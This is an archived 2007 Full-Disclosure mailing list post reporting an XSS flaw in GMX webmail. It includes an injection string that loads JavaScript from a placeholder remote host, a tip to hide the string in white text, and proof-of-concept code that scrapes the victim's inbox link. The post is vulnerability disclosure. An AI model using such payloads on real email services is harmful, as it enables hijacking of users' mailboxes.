full-disclosure - gmx.de /webmail xss vuln

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070104181142.20350@gmx.net>
Date: Thu, 04 Jan 2007 19:11:42 +0100
From: commander_keen@....de
To: full-disclosure@...ts.grok.org.uk
Subject: gmx.de /webmail  xss vuln

hello everybody,

recently, i've detected that gmx, a german freemail-provider (it offers professional services too) is prone to a xss-vulnerability.

An attacker could send an email containing these string:

</textarea><script src="http://somedomain.tld/somefile.js" type="text/javascript">

Because gmx-webmail displays html-mails also, you can color the code white so that the recipient won't see that it is included in the mail.

If the user views the mail, actually nothing happens, but if he tries to reply to the mail the javascript file is included and executed in the users browser.

To get the source of the users inbox, somefile.js might be:

-------------

function doRequest(url)
{
    http_request = false;

    if (window.XMLHttpRequest)
        {http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) {http_request.overrideMimeType('text/xml');}}    
    else if (window.ActiveXObject)
    {try {http_request = new ActiveXObject("Msxml2.XMLHTTP");} catch (e) {try {http_request = new ActiveXObject("Microsoft.XMLHTTP");} catch (e) {}}}

    if (!http_request) {return false; /* no xmlinst*/}

    http_request.onreadystatechange = ProcessContent;
    http_request.open('GET', url, true);
    http_request.send(null);

}

function ProcessContent()
{
    if (http_request.readyState == 4)
    {
        if (http_request.status == 200)
        {
                var source = http_request.responseText;
                source =  source.slice(source.indexOf('href="http://service.gmx.net/de/cgi/g.fcgi/mail/index?')+48, source.indexOf('">Posteingang</a>'));
                alert(source);

        } else {/*request failed*/};
    }

}

doRequest(location.href);

-------------

regards,

commander keen
-- 
Der GMX SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen! 
Ideal für Modem und ISDN: http://www.gmx.net/de/go/smartsurfer

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/